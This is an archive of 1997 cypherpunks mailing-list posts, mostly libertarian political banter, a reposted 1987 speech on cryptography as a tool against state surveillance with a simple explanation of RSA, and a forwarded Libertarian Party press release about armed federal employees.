In-Reply-To: <v03007805b05ee9830866@[204.254.22.76]>
Message-ID: <v0311077eb05ef1858c46@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:16 pm -0400 on 10/6/97, Declan McCullagh wrote:

> [I just got back from Fox News, where I was on with someone from the
> Chicago Bar and Donna Rice-Hughes (yes, that Donna Rice).

I just blew Diet Coke out of my nose again, remembering the first thing
which got me thinking about the speed of information propagation across
financial networks ;-).

To wit, a Donna Rice joke related to me by someone who had heard it on the
"hoot-n-holler" line from the trading room in New York the very morning the
'Monkey Business' picture of Ms Rice, sitting on Gary Hart's, um, lap, went
across the news wires.

The joke was:

Q. What did Donna Rice say she was doing when she left Gary Hart's house?
A. She said she was taking a poll. <hyuk!>

Later, I learned that a friend of mine from my college days at Mizzou,
Brian Smith, got the Pulitzer for that Monkey Business picture. Somewhere,
Mr. Pulitzer was smiling, I bet. Just exactly the kind of yellow journalism
Pulitzer made all his money doing...

Mizzou, of course, is the World's First Journalism School, and I went there
in the late 1970's when we all *knew* that Woodward and Bernstein had saved
the country...

Of course, that made all the journo school folks completely insufferable,
but, unfortunately, only in hindsight...

What? Yes, in fact, I *was* a Liberal Until Graduation. How could you tell?

Cheers,
Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Oct 1997 05:57:15 +0800
To: cypherpunks@toad.com
Subject: off-topic
Message-ID: <0y66De1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



> >In Canada, one could 'choose' not to work for Safeway Stores, but the
> >chain would come into a community and undersell everyone until the locals
> >were run out of business, then raise prices dramatically. In theory, you
> >could choose to *not* work for Safeway, but in reality, there was no one
> >else left *to* choose to work for in the grocery  business.
>
> If they didn't buy products
> from the Safeway or WalMart then you wouldn't have the "problem" above.
> Economics 101; the people are voting with their wallets.

... and if you don't like living among idiots, then move someplace where
te population makes more intelligent purchasing decision to sustain better
retailers.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 7 Oct 1997 06:16:25 +0800
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: off-topic
In-Reply-To: <0y66De1w165w@bwalk.dm.com>
Message-ID: <199710062157.RAA27235@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <0y66De1w165w@bwalk.dm.com>, on 10/06/97 
   at 04, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:

>> >In Canada, one could 'choose' not to work for Safeway Stores, but the
>> >chain would come into a community and undersell everyone until the locals
>> >were run out of business, then raise prices dramatically. In theory, you
>> >could choose to *not* work for Safeway, but in reality, there was no one
>> >else left *to* choose to work for in the grocery  business.
>>
>> If they didn't buy products
>> from the Safeway or WalMart then you wouldn't have the "problem" above.
>> Economics 101; the people are voting with their wallets.

>.... and if you don't like living among idiots, then move someplace where
>te population makes more intelligent purchasing decision to sustain
>better retailers.

No no no!! Much better to add another layer of bureaucracy to regulate the
*evil* Safeway perhaps even an outright ban!! We wouldn't mention the fact
that the Safeway store was able to fill a need that the local merchants
were either unwilling or unable to provide. We wont mention the fact the
the people of the community *chose* to shop at Safeway rather then the
local merchants. Dumb sheeple all were hoodwinked by the evil capitalist.
My GOD how did mankind survive this long without the Socialist & Big
brother to save us from ourselves???

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

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n0El9mrSWbYKZ/YeRknNTYHN589xK6aV0jXDYwdti0y3zdK3nIQiMddnl+jvdpcE
u97a2dH9Zeq9+rEhEf2ouJ3MS4fcs6dJWeJXLQdtfAj+etSx/l/fqDygfULR8PXq
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 7 Oct 1997 05:18:22 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Re:New PGP "Everything the FBI ever dreamed of"
Message-ID: <199710062108.RAA11053@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 I would be almost as inclined to think that a company using PGP5.5
with a forced encrypted to (company) self in addition to whomever else
... might even put up a bigger fuss about passing out their 'master
key' to Freeh-dumb et al. than many CP individuals ...

  ... another passing thought, could the anticipated implementation of
this have had anything to do with removal of the 'conventional
encryption' options in PGP5 ????

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDlREcdZgC62U/gIEQIo/wCg0FfHi8A3a67vYsskAElu5U7C/vkAoLfx
4a/uggNws8ZfGCRNm3UZbo2Q
=OGro
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

   "It's what you learn after you know it all that counts"  
           John Wooden






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Weld Pond <weld@skywriting.com>
Date: Tue, 7 Oct 1997 06:21:17 +0800
To: cypherpunks@Algebra.COM
Subject: 10th aniversary posting
Message-ID: <Pine.LNX.3.91.971006171543.16998A-100000@skywriting.com>
MIME-Version: 1.0
Content-Type: text/plain




FROM CROSSBOWS TO CRYPTOGRAPHY:  TECHNO-THWARTING THE STATE
                               by Chuck Hammill
                              weaponsrus@aol.com

           Given at the Future of Freedom Conference, November 1987
                Public Domain:  Duplicate and Distribute Freely

               You   know,   technology--and   particularly   computer
          technology--has often gotten a bad rap in  Libertarian  cir-
          cles.  We tend to think of Orwell's 1984, or Terry Gilliam's
          Brazil,  or  the  proximity  detectors keeping East Berlin's
          slave/citizens on their own side of the border, or  the  so-
          phisticated  bugging  devices  Nixon used to harass those on
          his "enemies list."  Or, we recognize that for the price  of
          a  ticket  on  the Concorde we can fly at twice the speed of
          sound, but only if we first walk thru a magnetometer run  by
          a  government  policeman, and permit him to paw thru our be-
          longings if it beeps.

               But I think that mind-set is a mistake.   Before  there
          were cattle prods, governments tortured their prisoners with
          clubs  and  rubber  hoses.    Before  there  were lasers for
          eavesdropping, governments used binoculars and  lip-readers.
          Though  government certainly uses technology to oppress, the
          evil lies not in the tools but in the wielder of the tools.

               In fact, technology represents one of the most  promis-
          ing  avenues  available  for  re-capturing our freedoms from
          those who have stolen them.  By its very nature,  it  favors
          the  bright  (who can put it to use) over the dull (who can-
          not).  It favors the adaptable (who are  quick  to  see  the
          merit  of  the  new(  over  the sluggish (who cling to time-
          tested ways).  And what two better words are  there  to  de-
          scribe government bureaucracy than "dull" and "sluggish"?

               One  of  the  clearest,  classic triumphs of technology
          over tyranny I see is  the  invention  of  the  man-portable
          crossbow.   With it, an untrained peasant could now reliably
          and lethally engage a target out to  fifty  meters--even  if
          that  target  were  a mounted, chain-mailed knight.  (Unlike
          the longbow, which, admittedly was more powerful, and  could
          get  off  more shots per unit time, the crossbow required no
          formal training to utilize.   Whereas the  longbow  required
          elaborate  visual,  tactile  and kinesthetic coordination to
          achieve any degree of accuracy, the wielder  of  a  crossbow
          could simply put the weapon to his shoulder, sight along the
          arrow  itself, and be reasonably assured of hitting his tar-
          get.)

               Moreover, since just about  the  only  mounted  knights
          likely  to  visit  your  average peasant would be government
          soldiers and tax collectors, the utility of the  device  was
          plain:    With it, the common rabble could defend themselves
          not only against one another, but against their governmental
          masters.   It was the  medieval  equivalent  of  the  armor-
          piercing  bullet,  and, consequently, kings and priests (the
          medieval equivalent of a  Bureau  of  Alcohol,  Tobacco  and
          Crossbows)  threatened  death  and  excommunication, respec-
          tively, for its unlawful possession.

               Looking at later developments, we  see  how  technology
          like  the  firearm--particularly the repeating rifle and the
          handgun, later followed by the Gatling gun and more advanced
          machine guns--radically altered the balance of interpersonal
          and inter-group power.  Not without reason was the Colt  .45
          called "the equalizer."  A frail dance-hall hostess with one
          in  her  possession  was  now  fully able to protect herself
          against the brawniest roughneck in any saloon.    Advertise-
          ments  for  the period also reflect the merchandising of the
          repeating cartridge  rifle  by  declaring  that  "a  man  on
          horseback,  armed with one of these rifles, simply cannot be
          captured."  And, as long as his captors  were  relying  upon
          flintlocks  or  single-shot rifles, the quote is doubtless a
          true one.

               Updating now to  the  present,  the  public-key  cipher
          (with  a  personal  computer to run it) represents an equiv-
          alent quantum leap--in a defensive weapon.    Not  only  can
          such  a technique be used to protect sensitive data in one's
          own possession, but it can also permit two strangers to  ex-
          change   information   over   an   insecure   communications
          channel--a  wiretapped   phone   line,   for   example,   or
          skywriting, for that matter)--without ever having previously
          met  to  exchange cipher keys.   With a thousand-dollar com-
          puter, you can create a cipher that  a  multi-megabuck  CRAY
          X-MP  can't  crack in a year.  Within a few years, it should
          be economically feasible to similarly encrypt voice communi-
          cations; soon after that, full-color digitized video images.
          Technology will not only have made wiretapping obsolete,  it
          will  have  totally demolished government's control over in-
          formation transfer.

               I'd like to take just a moment to sketch the  mathemat-
          ics  which makes this principle possible.  This algorithm is
          called the RSA algorithm, after Rivest, Shamir, and  Adleman
          who  jointly created it.  Its security derives from the fact
          that, if a very large number is  the  product  of  two  very
          large  primes,  then it is extremely difficult to obtain the
          two prime factors from analysis  of  their  product.    "Ex-
          tremely"  in  the  sense that if primes  p  and  q  have 100
          digits apiece, then their 200-digit product cannot  in  gen-
          eral be factored in less than 100 years by the most powerful
          computer now in existence.

               The  "public" part of the key consists of (1) the prod-
          uct  pq  of the two large primes p and q, and (2)  one  fac-
          tor,  call it  x  , of the product  xy  where  xy = {(p-1) *
          (q-1) + 1}.  The "private" part of the key consists  of  the
          other factor  y.

               Each  block of the text to be encrypted is first turned
          into an integer--either by using ASCII,  or  even  a  simple
          A=01,  B=02,  C=03, ... , Z=26 representation.  This integer
          is then raised to the power  x (modulo pq) and the resulting
          integer is then sent as the encrypted message.  The receiver
          decrypts by taking this integer to the  (secret)  power    y
          (modulo  pq).  It can be shown that this process will always
          yield the original number started with.

               What makes this a groundbreaking development,  and  why
          it  is  called  "public-key"  cryptography,"  is  that I can
          openly publish the product  pq and the number   x   ,  while
          keeping  secret  the number  y  --so that anyone can send me
          an encrypted message, namely
                               x
                             a    (mod pq)  ,
          but only I can recover the original message  a  , by  taking
          what  they  send, raising it to the power  y  and taking the
          result (mod pq).  The risky step (meeting to exchange cipher
          keys) has been eliminated.  So people who may not even trust
          each other enough to want to meet, may  still  reliably  ex-
          change  encrypted  messages--each  party having selected and
          disseminated his own  pq  and his  x  ,   while  maintaining
          the secrecy of his own  y  .

               Another benefit of this scheme is the notion of a "dig-
          ital signature," to enable one to authenticate the source of
          a given message.  Normally, if I want to send you a message,
          I raise my plaintext  a  to your x and take the result  (mod
          your pq)  and send that.

              However,  if in my message, I take the plaintext  a and
          raise it to my (secret) power  y  , take the result  (mod my
          pq), then raise that result to your x   (mod  your  pq)  and
          send this, then even after you have normally "decrypted" the
          message,  it  will still look like garbage.  However, if you
          then raise it to my public power x   , and take  the  result
          (mod  my public pq  ), so you will not only recover the ori-
          ginal plaintext message, but you will know that no one but I
          could have sent it to you (since no one else knows my secret
          y  ).

               And these are the very concerns by the way that are to-
          day tormenting the Soviet Union about the whole question  of
          personal  computers.    On the one hand, they recognize that
          American schoolchildren are right now growing up  with  com-
          puters  as commonplace as sliderules used to be--more so, in
          fact, because there are things computers can do  which  will
          interest  (and instruct) 3- and 4-year-olds.  And it is pre-
          cisely these students who one generation hence will be going
          head-to-head against their Soviet  counterparts.    For  the
          Soviets  to  hold  back might be a suicidal as continuing to
          teach swordsmanship  while  your  adversaries  are  learning
          ballistics.    On  the  other hand, whatever else a personal
          computer may be, it is also an exquisitely efficient copying
          machine--a floppy disk will hold upwards of 50,000 words  of
          text,  and  can  be  copied in a couple of minutes.  If this
          weren't threatening enough, the computer that  performs  the
          copy  can also encrypt the data in a fashion that is all but
          unbreakable.  Remember that in Soviet society  publicly  ac-
          cessible  Xerox  machines are unknown.   (The relatively few
          copying machines in existence  are  controlled  more  inten-
          sively than machine guns are in the United States.)

               Now  the  "conservative" position is that we should not
          sell these computers to the Soviets, because they could  use
          them  in weapons systems.  The "liberal" position is that we
          should sell them, in  the  interests  of  mutual  trade  and
          cooperation--and  anyway,  if  we don't make the sale, there
          will certainly be some other nation willing to.

               For my part, I'm ready to suggest that the  Libertarian
          position should be to give them to the Soviets for free, and
          if  necessary, make them take them . . . and if that doesn't
          work load up an SR-71  Blackbird  and  air  drop  them  over
          Moscow in the middle of the night.  Paid for by private sub-
          scription, of course, not taxation . . . I confess that this
          is not a position that has gained much support among members
          of  the conventional left-right political spectrum, but, af-
          ter all, in the words of one of Illuminatus's characters, we
          are political non-Euclideans:   The shortest distance  to  a
          particular  goal may not look anything like what most people
          would consider a "straight line."    Taking  a  long  enough
          world-view,  it is arguable that breaking the Soviet govern-
          ment monopoly on information transfer could better  lead  to
          the enfeeblement and, indeed, to the ultimate dissolution of
          the Soviet empire than would the production of another dozen
          missiles aimed at Moscow.

               But  there's  the rub:  A "long enough" world view does
          suggest that the evil, the oppressive, the coercive and  the
          simply  stupid  will "get what they deserve," but what's not
          immediately clear is how the rest of  us  can  escape  being
          killed, enslaved, or pauperized in the process.

              When  the  liberals and other collectivists began to at-
          tack freedom, they possessed a reasonably  stable,  healthy,
          functioning economy, and almost unlimited time to proceed to
          hamstring   and   dismantle  it.    A  policy  of  political
          gradualism was at least  conceivable.    But  now,  we  have
          patchwork  crazy-quilt  economy held together by baling wire
          and spit.  The state not only taxes us to  "feed  the  poor"
          while also inducing farmers to slaughter milk cows and drive
          up food prices--it then simultaneously turns around and sub-
          sidizes research into agricultural chemicals designed to in-
          crease  yields of milk from the cows left alive.  Or witness
          the fact that a decline in the price of oil is considered as
          potentially frightening as a comparable increase a few years
          ago.  When the price went up,  we  were  told,  the  economy
          risked  collapse for for want of energy.  The price increase
          was called the "moral equivalent of war" and the Feds  swung
          into  action.    For the first time in American history, the
          speed at which you drive your car to work in the morning be-
          came an issue of Federal concern.   Now, when the  price  of
          oil  drops, again we risk problems, this time because Ameri-
          can oil companies and Third World  basket-case  nations  who
          sell  oil  may  not  be  able to ever pay their debts to our
          grossly over-extended banks.  The suggested panacea is  that
          government  should now re-raise the oil prices that OPEC has
          lowered, via a new oil tax.  Since the government is seeking
          to raise oil prices to about the same extent  as  OPEC  did,
          what  can we call this except the "moral equivalent of civil
          war--the government against its own people?"

               And, classically, in international trade, can you imag-
          ine any entity in the world except  a  government  going  to
          court  claiming  that  a  vendor  was  selling  it goods too
          cheaply and demanding not only that that naughty  vendor  be
          compelled by the court to raise its prices, but also that it
          be punished for the act of lowering them in the first place?

               So  while the statists could afford to take a couple of
          hundred years to trash our  economy  and  our  liberties--we
          certainly  cannot  count  on  having an equivalent period of
          stability in which to reclaim them.   I contend  that  there
          exists  almost  a  "black  hole"  effect in the evolution of
          nation-states just as in the evolution of stars.  Once free-
          dom contracts beyond a certain  minimum  extent,  the  state
          warps  the fabric of the political continuum about itself to
          the degree that subsequent re-emergence of  freedom  becomes
          all but impossible.  A good illustration of this can be seen
          in the area of so-called "welfare" payments.  When those who
          sup  at the public trough outnumber (and thus outvote) those
          whose taxes must replenish the trough,  then  what  possible
          choice has a democracy but to perpetuate and expand the tak-
          ing  from  the few for the unearned benefit of the many?  Go
          down to the nearest "welfare" office, find just  two  people
          on  the dole . . . and recognize that between them they form
          a voting bloc that can forever outvote you on  the  question
          of who owns your life--and the fruits of your life's labor.

               So essentially those who love liberty need an "edge" of
          some  sort  if  we're ultimately going to prevail.  We obvi-
          ously  can't  use  the  altruists'  "other-directedness"  of
          "work,  slave, suffer, sacrifice, so that next generation of
          a billion random strangers can  live  in  a  better  world."
          Recognize  that, however immoral such an appeal might be, it
          is nonetheless an extremely powerful one in today's culture.
          If you can convince  people  to  work  energetically  for  a
          "cause," caring only enough for their personal welfare so as
          to  remain  alive  enough  and  healthy  enough  to continue
          working--then you have a truly massive reservoir  of  energy
          to draw from.  Equally clearly, this is just the sort of ap-
          peal which tautologically cannot be utilized for egoistic or
          libertarian goals.  If I were to stand up before you tonight
          and say something like, "Listen, follow me as I enunciate my
          noble "cause," contribute your money to support the "cause,"
          give  up  your  free  time  to  work for the "cause," strive
          selflessly to bring it about, and then (after you  and  your
          children are dead) maybe your children's children will actu-
          ally  live under egoism"--you'd all think I'd gone mad.  And
          of course you'd be right.  Because the point I'm  trying  to
          make is that libertarianism and/or egoism will be spread if,
          when, and as, individual libertarians and/or egoists find it
          profitable and/or enjoyable to do so.    And  probably  only
          then.

               While I certainly do not disparage the concept of poli-
          tical  action, I don't believe that it is the only, nor even
          necessarily the most cost-effective path  toward  increasing
          freedom  in  our time.  Consider that, for a fraction of the
          investment in time, money and effort I might expend in  try-
          ing  to  convince  the  state to abolish wiretapping and all
          forms of censorship--I can teach every libertarian who's in-
          terested  how  to   use   cryptography   to   abolish   them
          unilaterally.

               There  is  a  maxim--a proverb--generally attributed to
          the Eskimoes, which very likely most Libertarians  have  al-
          ready  heard.    And while you likely would not quarrel with
          the saying, you might well feel that you've heard  it  often
          enough already, and that it has nothing further to teach us,
          and moreover, that maybe you're even tired of hearing it.  I
          shall therefore repeat it now:

               If you give a man a fish, the saying runs, you feed him
          for a day.  But if you teach a man how to fish, you feed him
          for a lifetime.

               Your exposure to the quote was probably in some sort of
          a  "workfare"  vs.  "welfare"  context;  namely, that if you
          genuinely wish to help someone in need, you should teach him
          how to earn his sustenance, not simply how to  beg  for  it.
          And of course this is true, if only because the next time he
          is hungry, there might not be anybody around willing or even
          able to give him a fish, whereas with the information on how
          to fish, he is completely self sufficient.

               But  I  submit  that this exhausts only the first order
          content of the quote, and if there were nothing  further  to
          glean  from  it,  I would have wasted your time by citing it
          again.  After all, it seems to have almost a crypto-altruist
          slant, as though to imply that we should structure  our  ac-
          tivities  so  as  to  maximize  the  benefits to such hungry
          beggars as we may encounter.

               But consider:

               Suppose this Eskimo doesn't know how to  fish,  but  he
          does  know  how  to hunt walruses.   You, on the other hand,
          have often gone hungry while traveling thru  walrus  country
          because  you  had  no idea how to catch the damn things, and
          they ate most of the fish you could catch.  And now  suppose
          the  two  of  you  decide to exchange information, bartering
          fishing knowledge for hunting knowledge.   Well,  the  first
          thing  to  observe  is  that  a  transaction  of  this  type
          categorically and unambiguously refutes the Marxist  premise
          that  every  trade  must  have a "winner" and a "loser;" the
          idea that if one person gains, it must necessarily be at the
          "expense" of another person who loses.  Clearly, under  this
          scenario, such is not the case.  Each party has gained some-
          thing  he  did  not have before, and neither has been dimin-
          ished in any way.  When it comes to exchange of  information
          (rather  than material objects) life is no longer a zero-sum
          game.  This is an extremely powerful notion.   The  "law  of
          diminishing   returns,"   the  "first  and  second  laws  of
          thermodynamics"--all those "laws" which constrain our possi-
          bilities in other contexts--no longer bind us!   Now  that's
          anarchy!

               Or  consider  another possibility:  Suppose this hungry
          Eskimo never learned  to  fish  because  the  ruler  of  his
          nation-state    had  decreed fishing illegal.   Because fish
          contain dangerous tiny bones, and sometimes sharp spines, he
          tells us, the state has decreed that their  consumption--and
          even  their  possession--are  too  hazardous to the people's
          health to be permitted . . . even by knowledgeable,  willing
          adults.   Perhaps it is because citizens' bodies are thought
          to be government property, and therefore it is the  function
          of the state to punish those who improperly care for govern-
          ment  property.    Or perhaps it is because the state gener-
          ously extends to competent adults the "benefits" it provides
          to children and to the mentally ill:  namely,  a  full-time,
          all-pervasive supervisory conservatorship--so that they need
          not  trouble  themselves  with making choices about behavior
          thought physically risky or morally "naughty."  But, in  any
          case,  you  stare stupefied, while your Eskimo informant re-
          lates how this law is taken so seriously that  a  friend  of
          his was recently imprisoned for years for the crime of "pos-
          session of nine ounces of trout with intent to distribute."

               Now  you  may  conclude  that  a society so grotesquely
          oppressive as to enforce a law of this  type  is  simply  an
          affront to the dignity of all human beings.  You may go far-
          ther  and  decide to commit some portion of your discretion-
          ary, recreational time specifically to the task of thwarting
          this tyrant's goal.  (Your rationale may be "altruistic"  in
          the   sense   of  wanting  to  liberate  the  oppressed,  or
          "egoistic" in the sense of  proving  you  can  outsmart  the
          oppressor--or  very likely some combination of these or per-
          haps even other motives.)

               But, since you have zero desire to become a  martyr  to
          your "cause," you're not about to mount a military campaign,
          or  even try to run a boatload of fish through the blockade.
          However, it is here that technology--and in  particular  in-
          formation technology--can multiply your efficacy literally a
          hundredfold.    I say "literally," because for a fraction of
          the effort (and virtually none of  the  risk)  attendant  to
          smuggling in a hundred fish, you can quite readily produce a
          hundred  Xerox copies of fishing instructions.  (If the tar-
          geted government, like present-day America, at least permits
          open  discussion  of  topics  whose  implementation  is  re-
          stricted,  then that should suffice.  But, if the government
          attempts to suppress the flow of information as  well,  then
          you will have to take a little more effort and perhaps write
          your  fishing manual on a floppy disk encrypted according to
          your mythical Eskimo's public-key parameters.  But as far as
          increasing real-world access to fish you have  made  genuine
          nonzero  headway--which  may  continue to snowball as others
          re-disseminate the information you have provided.   And  you
          have not had to waste any of your time trying to convert id-
          eological  adversaries, or even trying to win over the unde-
          cided.  Recall Harry Browne's dictum  from  "Freedom  in  an
          Unfree World" that the success of any endeavor is in general
          inversely proportional to the number of people whose persua-
          sion is necessary to its fulfilment.

               If  you  look  at  history, you cannot deny that it has
          been dramatically shaped by men with names like  Washington,
          Lincoln,  .  .  .  Nixon  .  . . Marcos . . . Duvalier . . .
          Khadaffi . . .  and their ilk.  But it has also been  shaped
          by  people with names like Edison, Curie, Marconi, Tesla and
          Wozniak.  And this latter shaping has been at least as  per-
          vasive, and not nearly so bloody.

               And  that's  where  I'm  trying  to  take The LiberTech
          Project.  Rather than beseeching the state to please not en-
          slave, plunder or constrain us, I propose a libertarian net-
          work spreading  the  technologies  by  which  we  may  seize
          freedom for ourselves.

               But here we must be a bit careful.  While it is not (at
          present)  illegal  to  encrypt  information  when government
          wants to spy on you, there is no guarantee of what  the  fu-
          ture  may hold.  There have been bills introduced, for exam-
          ple, which would have made it a crime  to  wear  body  armor
          when government wants to shoot you.  That is, if you were to
          commit certain crimes while wearing a Kevlar vest, then that
          fact  would  constitute a separate federal crime of its own.
          This law to my knowledge has not passed . . . yet . . .  but
          it does indicate how government thinks.

               Other  technological  applications,  however, do indeed
          pose legal risks.  We recognize, for  example,  that  anyone
          who  helped a pre-Civil War slave escape on the "underground
          railroad" was making a clearly illegal use of technology--as
          the sovereign government of the United States of America  at
          that time found the buying and selling of human beings quite
          as  acceptable  as  the buying and selling of cattle.  Simi-
          larly, during Prohibition, anyone who used  his  bathtub  to
          ferment  yeast and sugar into the illegal psychoactive drug,
          alcohol--the controlled substance, wine--was using  technol-
          ogy  in a way that could get him shot dead by federal agents
          for his "crime"--unfortunately not to be  restored  to  life
          when  Congress  reversed itself and re-permitted use of this
          drug.

               So . . . to quote a former President,  un-indicted  co-
          conspirator  and pardoned felon . . . "Let me make one thing
          perfectly clear:"  The LiberTech Project does not  advocate,
          participate  in, or conspire in the violation of any law--no
          matter how oppressive,  unconstitutional  or  simply  stupid
          such  law may be.  It does engage in description (for educa-
          tional and informational  purposes  only)  of  technological
          processes,  and some of these processes (like flying a plane
          or manufacturing a firearm) may well require appropriate li-
          censing to perform legally.    Fortunately,  no  license  is
          needed  for  the  distribution or receipt of information it-
          self.

               So, the next time you look at the political  scene  and
          despair,  thinking,  "Well,  if 51% of the nation and 51% of
          this State, and 51% of this city have  to  turn  Libertarian
          before  I'll  be  free,  then  somebody might as well cut my
          goddamn throat now, and put me out of my  misery"--recognize
          that  such  is not the case.  There exist ways to make your-
          self free.

               If you wish to explore such techniques via the Project,
          you are welcome to give me your name and address--or a  fake
          name  and  mail  drop, for that matter--and you'll go on the
          mailing list for my erratically-published newsletter.    Any
          friends  or acquaintances whom you think would be interested
          are welcome as well.  I'm not even asking for stamped  self-
          addressed envelopes, since my printer can handle mailing la-
          bels and actual postage costs are down in the noise compared
          with  the  other  efforts  in getting an issue out.   If you
          should have an idea to share, or even a  useful  product  to
          plug,  I'll be glad to have you write it up for publication.
          Even if you want to be the proverbial "free rider" and  just
          benefit  from  what others contribute--you're still welcome:
          Everything will be public domain; feel free to  copy  it  or
          give it away (or sell it, for that matter, 'cause if you can
          get  money  for  it while I'm taking full-page ads trying to
          give it away, you're certainly entitled to  your  capitalist
          profit . . .)  Anyway, every application of these principles
          should make the world just a little freer, and I'm certainly
          willing to underwrite that, at least for the forseeable  fu-
          ture.

               I  will leave you with one final thought:  If you don't
          learn how to beat your plowshares into  swords  before  they
          outlaw  swords,  then you sure as HELL ought to learn before
          they outlaw plowshares too.

                                                       --Chuck Hammill

                                                 THE LIBERTECH PROJECT





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Tue, 7 Oct 1997 09:05:27 +0800
To: cypherpunks@Algebra.COM
Subject: govt goes gun nuts
Message-ID: <199710070058.RAA13958@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



for the libertarians & govt haters

------- Forwarded Message

Date: Sat, 04 Oct 1997 19:36:29 -0500
From: "Chris W. Stark - GOA Texas Rep." <gunowner@OnRamp.NET>
To: ignition-point@majordomo.pobox.com
Subject: IP: 60,000 Pistol Packing Feds - Up 2,436 in 1 year!

==== BEGIN FORWARD================================

60,000 pistol-packing federal bureaucrats
show why people fear the government

        WASHINGTON, DC -- A new report revealing that almost 60,000
federal employees now carry weapons has prompted the Libertarian Party
to come out in favor of gun control -- for the federal government.

        According to a study by the General Accounting Office (GAO), an
astounding 60,000 government employees in 45 different agencies now
carry guns as a routine part of their job.

        And it's not just law enforcement agents: Poultry inspectors,
park rangers, and disaster aid workers are all allowed to carry
weapons -- in addition to special agents from the Small Business
Administration, NASA, the Department of Education, the U.S. Fish &
Wildlife Service, and even the Department of Veterans Affairs, noted
Steve Dasbach, national chairman of the Libertarian Party.

        "Federal employees have gone nuts -- gun nuts," he said. "It's
time to impose a waiting period on the federal government, while the
American people conduct a background check on these armed and
potentially dangerous bureaucrats."

        According to the GAO investigation, the number of federal
employees with guns is growing rapidly -- up by 20% in the last 10
years. In fact, 2,436 armed personnel were added to the federal
government's payroll last year alone.

        Even worse, federal employees are getting more powerful
weapons. According to the GAO, the Energy Department now has access to
machine guns, and other agencies can summon tanks and military
helicopters. In addition, the Western Journalism Center discovered that
the National Park Service and the Department of Health & Human Services
now have their own SWAT teams.

        Machines guns? Tanks? SWAT teams? What's going on?

        Dasbach said he has a theory: "Congress has passed over 3,000
criminal laws, and federal agencies have churned out hundreds of
thousands of regulations that carry criminal penalties. The result is
that ordinary Americans run a constant risk of violating laws they've
never even heard of as federal agents scramble to enforce those laws at
the point of a gun."

        And Libertarians aren't the only ones who have noticed this
disturbing trend, he said.

        For example, Congressman Ron Paul (R-TX) last month blasted the
"massive buildup of a virtual army of armed regulators." Larry Pratt,
head of Gun Owners of America, described the 60,000 armed federal
employees as "a standing army -- it's outrageous." And Greg Lojein,
legislative counsel for the American Civil Liberties Union, said the
acquisition of "heavy equipment" like tanks and helicopters by federal
agencies is "more characteristic of war than law enforcement."

        "No wonder Americans don't trust their government; their
government doesn't trust them," said Dasbach. "But trust doesn't grow
out of the barrel of a gun -- or from the sight of a pistol-packing
poultry inspector.

        "If we want to live in an America where ordinary citizens don't
have to fear their own government -- and where the government doesn't
have 60,000 guns pointed at ordinary citizens -- the solution is to
demand a government that obeys the Constitution and protects the
liberties of its citizens," he said.

        "And the first step: Gun control for the federal government.
Let's end this federal arms race, and turn the federal bureaucracy into
a demilitarized zone."

The Libertarian Party
======= END FORWARD =============================================


****************************************************************
Chris W. Stark
Gun Owners of America - Texas Representative
e-mail: gunowner@onramp.net

Visit our Web Page at: http://rampages.onramp.net/~gunowner

Support "The only no compromise gun lobby in Washington & Texas."
                *****************************
             ***Become a member of GOA TODAY!***
                *****************************
****************************************************************
   "No class or group or party in Germany could escape its share 
of responsibility for the abandonment of the democratic Republic
and the advent of Adolf Hitler. The cardinal error of the Germans
who opposed Nazism was their failure to unite against it.
....the 63% of the German people who expressed their opposition
to Hitler were much too divided and shortsighted to combine against
a common danger which they must have known would overwhelm them
unless they united, HOWEVER TEMPORARY, to stamp it out."

 -William L. Shirer, author of "The rise and fall of
the Third Reich"
  p.259
.....they who do not learn from History are DOOMED to repeat it!!


**********************************************
To subscribe or unsubscribe, email:
     majordomo@majordomo.pobox.com
with the message:
     subscribe ignition-point email@address
or
     unsubscribe ignition-point email@address
**********************************************
http://www.telepath.com/believer
**********************************************

------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Tue, 7 Oct 1997 06:17:35 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: Re: russia_1.html
Message-ID: <199710062205.SAA21293@mx01.together.net>
